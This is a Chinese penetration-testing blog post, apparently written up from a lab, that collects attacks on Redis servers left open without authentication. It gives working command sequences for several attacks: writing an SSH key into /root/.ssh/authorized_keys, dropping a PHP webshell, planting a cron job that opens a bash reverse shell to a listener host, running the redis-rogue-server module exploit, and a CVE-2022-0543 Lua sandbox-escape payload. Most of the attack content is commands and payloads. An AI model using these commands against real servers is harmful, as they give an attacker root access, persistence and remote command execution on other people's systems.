Redis未授权访问利用合集

Snipaste_2022-06-07_12-26-50

Redis未授权访问利用

微信公众号:小惜渗透,欢迎大佬一起交流进步

正常redis默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且甚至没有密码,那么就会导致攻击者非法访问,并读取Redis的数据,还可以利用自身config命令进行写入操作,攻击者可将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys中,进而直接使用对应私钥登录目标服务器。

1. 利用ssh公钥登录目标服务器

搭建环境:

#下载源码压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

#解压
tar zxvf redis-3.2.11.tar.gz

#进入压缩目录
cd redis-3.2.11
#编译
make

#编译成功后进入src目录并将redis-server和redis-cli拷贝到/usr/bin目录下,并将redis.conf复制到/etc/

#紧接着编辑redis.conf
vim /etc/redis.conf

将这行绑定本地127.0.0.1加上注释(还可以改成0.0.0.0)

image-20220704205847335

将保护模式关闭

image-20220704205945696

保存,然后启动redis服务

redis-server /etc/redis.conf

image-20220704210233080

切记别忘了关防火墙


在/root/.ssh目录下面会自动创建两个文件,分别是本地的公钥和私钥

ssh-keygen -t rsa

image-20220704174954952

公钥需要加两个换行

(echo "\n\n";cat /root/.ssh/id_rsa.pub)>test.txt

将公钥写入redis

cat test.txt | /Black/redis/redis-cli -h 192.168.52.251 -x set crack

image-20220704213442875

连接redis

redis-cli -h ip

image-20220704175955014

查询redis备份路径

config get dir

查到路径是root(既然是root目录,其实就表明redis应该是用root权限运行,所以就可以尝试直接写ssh公钥)

image-20220704212458546

紧接着更改redis备份路径为ssh公钥存放目录

config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys

保存退出

image-20220704214202225

#通过私钥免密连接
ssh -i id_rsa root@192.168.52.251 

image-20220704215301194


2.写入webshell

  • 在服务器上存在web网站时,我们可以通过redis直接写入webshell(前提知道网站绝对路径)
#连接redis
redis-cli -h 192.168.52.251
#设置备份文件路径为网站根目录
config set dir /var/www/html/
#设置备份文件名为shell.php
config set dbfilename shell.php
#随便设置一个键,值为一句话马(我下面测试用的phpinfo)
set shell "<?php phpinfo();?>"
#然后保存
save

这样备份文件就会多了一句话, 当我们访问时会被解析

image-20220705105313487


3. 定时任务反弹shell

先在kali里面监听端口

image-20220705110800962

config set dir /var/spool/cron
config set dbfilename root
set xx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1\n\n"
save

image-20220705111302628


4. Redis 4.x/5.x 主从复制导致的命令执行

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

正常连接redis,然后将备份目录设置成root目录,会提示权限不足

image-20220705115053625

下载exp脚本:https://github.com/n0b0dyCN/redis-rogue-server

#先编译exp
cd RedisModulesSDK/exp/
make

#利用
python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128 --lport 4444

权限可真低,能用的命令也少

image-20220705124938863


5. CVE-2022-0543:redis沙盒逃逸漏洞

造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。

影响版本:

  • 2.2 <= redis < 5.0.13
  • 2.2 <= redis < 6.0.15
  • 2.2 <= redis < 6.2.5

利用:

Exp:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("touch /tmp/redistest", "r"); local res = f:read("*a"); f:close(); return res' 0

成功

image-20220705133107065

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值